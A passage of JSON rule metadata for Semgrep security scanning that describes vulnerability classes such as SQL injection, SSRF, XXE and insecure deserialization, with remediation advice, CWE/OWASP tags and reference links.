domains."},"helpUri":"https://semgrep.dev/r/go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","id":"go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","name":"go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.knex-express.knex-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.knex-express.knex-express","id":"javascript.express.db.knex-express.knex-express","name":"javascript.express.db.knex-express.knex-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.knex-express.knex-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead."},"help":{"markdown":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor)\n - [https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption](https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption)\n","text":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","id":"python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","name":"python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","id":"java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","name":"java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.exec-detected.exec-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.exec-detected.exec-detected","id":"python.lang.security.audit.exec-detected.exec-detected","name":"python.lang.security.audit.exec-detected.exec-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.exec-detected.exec-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file."},"help":{"markdown":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security)\n - [https://www.playframework.com/documentation/2.8.x/SettingsSession#Session-Configuration](https://www.playframework.com/documentation/2.8.x/SettingsSession#Session-Configuration)\n","text":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file."},"helpUri":"https://semgrep.dev/r/scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","id":"scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","name":"scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."},"help":{"markdown":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2)\n - [https://jinja.palletsprojects.com/en/2.11.x/api/#basics](https://jinja.palletsprojects.com/en/2.11.x/api/#basics)\n","text":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","id":"python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","name":"python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource."},"help":{"markdown":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#master_password](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#master_password)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_cluster#master_password](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_cluster#master_password)\n - [https://registry.terraform.io/providers/hashicorp/random/latest/docs/resources/password](https://registry.terraform.io/providers/hashicorp/random/latest/docs/resources/password)\n","text":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","id":"terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","name":"terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","id":"kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","name":"kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely."},"help":{"markdown":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted)\n - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html)\n","text":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","id":"terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","name":"terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption."},"help":{"markdown":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kinesis_stream#encryption_type](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kinesis_stream#encryption_type)\n - [https://docs.aws.amazon.com/streams/latest/dev/server-side-encryption.html](https://docs.aws.amazon.com/streams/latest/dev/server-side-encryption.html)\n","text":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","id":"terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","name":"terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","id":"python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","name":"python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication."},"help":{"markdown":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service)\n - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.20/#apiservice-v1-apiregistration-k8s-io](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.20/#apiservice-v1-apiregistration-k8s-io)\n","text":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","id":"yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","name":"yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","id":"kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","name":"kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.audit.jose-exposed-data.jose-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","id":"javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","name":"javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.audit.jose-exposed-data.jose-exposed-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-joblib-django.tainted-joblib-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-joblib-django.tainted-joblib-django","id":"python.django.deserialization.tainted-joblib-django.tainted-joblib-django","name":"python.django.deserialization.tainted-joblib-django.tainted-joblib-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-joblib-django.tainted-joblib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - 